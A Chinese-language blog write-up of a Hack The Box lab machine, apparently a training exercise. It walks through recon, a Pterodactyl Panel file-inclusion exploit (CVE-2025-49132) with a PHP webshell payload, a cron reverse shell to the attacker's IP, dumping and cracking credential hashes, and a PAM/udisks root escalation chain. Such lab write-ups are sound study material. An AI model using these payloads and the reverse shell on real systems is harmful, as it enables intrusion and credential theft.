HTB靶机 Pterodactyl 渗透测试记录

misaka19008 发布于 2026-02-09 216 次阅读 2882 字



目标信息

IP地址:10.129.174.98(非固定IP地址)


信息收集

ICMP检测

PING 10.129.174.98 (10.129.174.98) 56(84) bytes of data.
64 bytes from 10.129.174.98: icmp_seq=1 ttl=63 time=122 ms
64 bytes from 10.129.174.98: icmp_seq=2 ttl=63 time=145 ms
64 bytes from 10.129.174.98: icmp_seq=3 ttl=63 time=81.3 ms
64 bytes from 10.129.174.98: icmp_seq=4 ttl=63 time=164 ms

--- 10.129.174.98 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 81.338/128.058/163.731/30.780 ms

攻击机和靶机间网络连接状态良好。

防火墙检测

# Nmap 7.98 scan initiated Sun Feb  8 08:35:50 2026 as: /usr/lib/nmap/nmap -sA -p- --min-rate 3000 -oN ack_report.txt 10.129.174.98
Nmap scan report for 10.129.174.98
Host is up (0.082s latency).
Not shown: 65481 filtered tcp ports (no-response), 50 filtered tcp ports (admin-prohibited)
PORT     STATE      SERVICE
22/tcp   unfiltered ssh
80/tcp   unfiltered http
443/tcp  unfiltered https
8080/tcp unfiltered http-proxy

# Nmap done at Sun Feb  8 08:36:35 2026 -- 1 IP address (1 host up) scanned in 45.14 seconds

靶机疑似开放4TCP端口。

网络端口扫描

TCP端口扫描结果

# Nmap 7.98 scan initiated Sun Feb  8 08:37:37 2026 as: /usr/lib/nmap/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_report.txt 10.129.174.98
Nmap scan report for 10.129.174.98
Host is up (0.11s latency).
Not shown: 65485 filtered tcp ports (no-response), 46 filtered tcp ports (host-unreach)
PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 9.6 (protocol 2.0)
| ssh-hostkey: 
|   256 a3:74:1e:a3:ad:02:14:01:00:e6:ab:b4:18:84:16:e0 (ECDSA)
|_  256 65:c8:33:17:7a:d6:52:3d:63:c3:e4:a9:60:64:2d:cc (ED25519)
80/tcp   open   http       nginx 1.21.5
|_http-server-header: nginx/1.21.5
|_http-title: Did not follow redirect to http://pterodactyl.htb/
443/tcp  closed https
8080/tcp closed http-proxy
Aggressive OS guesses: Linux 5.0 - 5.14 (98%), Linux 4.15 - 5.19 (94%), Linux 2.6.32 - 3.13 (93%), Linux 5.0 (92%), OpenWrt 22.03 (Linux 5.10) (92%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (92%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.14 (90%), Linux 4.15 (90%), Linux 2.6.32 - 3.10 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using proto 1/icmp)
HOP RTT       ADDRESS
1   123.39 ms 10.10.16.1
2   123.60 ms 10.129.174.98

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Feb  8 08:38:41 2026 -- 1 IP address (1 host up) scanned in 64.08 seconds

UDP端口开放列表扫描结果

# Nmap 7.98 scan initiated Sun Feb  8 08:39:31 2026 as: /usr/lib/nmap/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.174.98
Warning: 10.129.174.98 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.174.98
Host is up (0.090s latency).
All 65535 scanned ports on 10.129.174.98 are in ignored states.
Not shown: 65290 open|filtered udp ports (no-response), 245 filtered udp ports (admin-prohibited)

# Nmap done at Sun Feb  8 08:43:32 2026 -- 1 IP address (1 host up) scanned in 241.44 seconds

UDP端口详细信息扫描结果

(无)

同时发现靶机运行Linux操作系统,开放了22/ssh80/http服务,主域名为pterodactyl.htb


服务探测

SSH服务(22端口)

尝试使用ssh工具连接靶机:

ssh root@pterodactyl.htb

Web应用程序(80端口)

在开始进行Web应用探测前,首先进行虚拟主机名爆破:

wfuzz -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 70 -u 10.129.10.249 -H "Host: FUZZ.pterodactyl.htb" --hh 145 --hc 400

发现靶机Web服务存在panel虚拟主机。

首先打开主站点:http://pterodactyl.htb/

该站点貌似为自建的Minecraft游戏服务器,主页上除了一个并不存在的子域名play.pterodactyl.htb外,还有一个Changelog链接。

点击该链接,页面跳转到了/changelog.txt,内容如下:

MonitorLand - CHANGELOG.txt
======================================

Version 1.20.X

[Added] Main Website Deployment
--------------------------------
- Deployed the primary landing site for MonitorLand.
- Implemented homepage, and link for Minecraft server.
- Integrated site styling and dark-mode as primary.

[Linked] Subdomain Configuration
--------------------------------
- Added DNS and reverse proxy routing for play.pterodactyl.htb.
- Configured NGINX virtual host for subdomain forwarding.

[Installed] Pterodactyl Panel v1.11.10
--------------------------------------
- Installed Pterodactyl Panel.
- Configured environment:
  - PHP with required extensions.
  - MariaDB 11.8.3 backend.

[Enhanced] PHP Capabilities
-------------------------------------
- Enabled PHP-FPM for smoother website handling on all domains.
- Enabled PHP-PEAR for PHP package management.
- Added temporary PHP debugging via phpinfo()

更新日志中称,站点安装了翼龙面板v1.11.10版本作为游戏服务器的管理系统,除此之外还启用了PHP-PEAR作为功能支持,并添加了一个phpinfo页面。

直接扫描目录:

dirsearch -u http://pterodactyl.htb -x 400,403,404 -t 70 -e php,js,html,txt,zip,tar.gz,xml,json,log,md

发现PHPInfo程序文件,使用浏览器访问,大致查看PHP配置信息:http://pterodactyl.htb/phpinfo.php

在翻阅配置信息的过程中,发现PHP插件程序的存放路径为/usr/share/php/PEAR

访问子站点http://panel.pterodactyl.htb

显然该子站点运行翼龙面板。

除此之外,未发现其它信息。


渗透测试

翼龙面板文件包含漏洞利用

在服务探测阶段,我们已经发现靶机Web服务panel子站点运行翼龙面板,根据主站点内更新日志描述,翼龙面板版本为v1.11.10,并安装了PHP-Pear插件,现在尝试对其进行枚举。

首先联网查询该版本翼龙面板的公开漏洞:CVE-2025-49132 — Pterodactyl Panel 未授权远程代码执行漏洞深度研究报告 - FreeBuf网络安全行业门户

成功发现未授权远程文件包含漏洞CVE-2025-49132!通过阅读文章分析部分,可得知该漏洞的本质为PHP文件包含漏洞。翼龙面板/locales/locale.json接口接收localenamespace两个参数,并在未经任何过滤检查的情况下,就将其拼接到记录PHP文件路径的字符串中(字符串最后为.php,无法进行截断等操作),随后直接将拼接后的文件路径字符串传递给了Laravel FileLoader类的load方法中,导致未通过授权攻击者可以加载任意PHP脚本执行。由于翼龙面板需要使用PHP-Pear插件,攻击者可通过包含pearcmd.php组件的方法写入恶意PHP脚本,随后再次利用该漏洞加载新写入的脚本,进行任意代码执行操作。

注:关于pearcmd.php脚本的利用方法,可参考文章LFI TO RCE之pearcmd.php的妙用-CSDN博客

现在对该漏洞进行利用,首先根据漏洞原理,构造出利用URL,创建PHP后门:

http://panel.pterodactyl.htb/locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system($_GET['cmd'])?>+/tmp/shell.php

随后打开BurpSuite,拦截一个正常的GET请求,将其发送至Repeater,然后添加恶意请求参数:

写入文件成功!现在再次利用漏洞,包含创建的PHP木马:http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../tmp&namespace=shell&cmd=id

成功创建恶意木马!直接在本地新建反弹Shell计划任务配置文件,同时打开SimpleHTTPServer监听:

*/1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/10.10.16.6/443 0>&1'

随后使用PHP木马执行命令,下载并添加恶意计划任务:

wget http://10.10.16.6/revshell_cron.txt -O /tmp/revshell_cron.txt
cat /tmp/revshell_cron.txt | crontab

打开netcat监听,等待一会儿后,成功收到反弹Shell

发现靶机运行openSUSE Leap v15.6操作系统。

爆破phileasfogg3用户密码

进入系统后,执行数据库枚举。在翼龙面板安装目录/var/www/pterodactyl/下发现环境变量配置文件.env

cd /var/www/pterodactyl
cat .env

成功发现数据库用户凭据:

  • 服务器地址:127.0.0.1:3306
  • 用户名:pterodactyl
  • 密码:PteraPanel

直接登录MySQL

mysql -h 127.0.0.1 -u pterodactyl -p

成功!发现存在panel数据库,查看该数据库内所有表:

use panel;
show tables;

发现存在users表,查看该表结构:

describe users;

根据字段名称可判断该表为用户信息表。查看usernamepassword字段所有数据:

SELECT username,password FROM users;

发现存在和系统用户相吻合的两个翼龙面板用户headmonitorphileasfogg3

尝试使用hashcat工具爆破phileasfogg3用户的BCrypt密码哈希:

./hashcat.exe -m 3200 -a 0 "`$2y`$10`$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi" ./rockyou.txt --force

成功获得系统用户凭据:

  • 用户名:phileasfogg3
  • 密码:!QAZ2wsx

直接登录SSH

ssh phileasfogg3@pterodactyl.htb

成功!!


权限提升

目录信息收集

进入系统后,尝试使用sudo -l命令确定当前用户Sudo权限:

发现虽然phileasfogg3用户拥有通过Sudo执行任何命令的权限,但需要输入目标用户的密码,无法直接利用。

尝试进行目录信息收集,在/var/mail/目录下发现了当前用户的邮件收件箱文件:

ls -lA /var/mail/

查看该文件:

cat /var/mail/phileasfogg3

在收件箱中存在一封来自headmonitor用户的邮件,内容大意为在操作系统udisksd进程上探测到了非正常活动,提醒系统管理员检查udisksd进程与日志文件。

尝试联网查询和udisksd相关的信息,发现两个需要组合利用的权限提升漏洞:Linux PAM及udisks组件曝高危提权漏洞,无需特殊手段即可实现root级访问 - FreeBuf网络安全行业门户

两个漏洞分别为CVE-2025-6018CVE-2025-6019。第一个漏洞原理为Linux PAM鉴权模块中存在逻辑缺陷,使远程登录的用户被错误地授予Polkit allow_active权限,导致远程用户会话被Polkit当作本地控制台会话处理;第二个漏洞为udisksd的提权漏洞,当用户处于allow_active状态时,可通过该特权和一些攻击操作,挂载带有SUID BashXFS磁盘镜像实现权限提升。

经分析研判,决定使用上述两个漏洞进行提权。

Linux PAM与UDisks漏洞组合利用

在目录信息收集过程中,我们已经发现了两个需要组合利用的漏洞:CVE-2025-6018CVE-2025-6019。现在进行攻击操作。

首先下载两个漏洞的EXP脚本到本地:

随后在本地执行CVE-2025-6019漏洞利用脚本,选择Local模式,创建恶意XFS镜像:

创建完成后,执行CVE-2025-6018漏洞利用脚本,使SSH远程会话拥有allow_active权限:

python ./cve-2025-6018.py -i pterodactyl.htb -u phileasfogg3 -p '!QAZ2wsx'

命令执行完毕后重新登录SSH,并在本地开启SimpleHTTPServer,在靶机上使用wget下载CVE-2025-6019利用脚本和xfs.image恶意镜像:

wget http://10.10.16.6/cve-2025-6019.sh
wget http://10.10.16.6/xfs.image
chmod +x cve-2025-6019.sh

上传完毕后查看目录,发现家目录下存在bin子目录,怀疑为phileasfogg3用户的专用命令程序目录,遂查看PATH环境变量:

确认家目录下的命令程序目录bin处于PATH变量的首位,为防止攻击脚本运行被干扰,直接编辑.bashrc文件,将PATH变量设置为正常的路径配置:

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games

随后再次重新登录SSH,运行cve-2025-6019.sh,选择Cible模式:

./cve-2025-6019.sh
C

成功执行root SUID Bash!调用Python OS模块执行修改root密码操作:

python3 -c "import os;os.setuid(0);os.setgid(0);os.system('passwd root')"
exit

退出SUID Bash后,直接切换至root用户:

su -

提权成功!!!!


本次靶机渗透到此结束


此作者没有提供个人介绍。
最后更新于 2026-05-10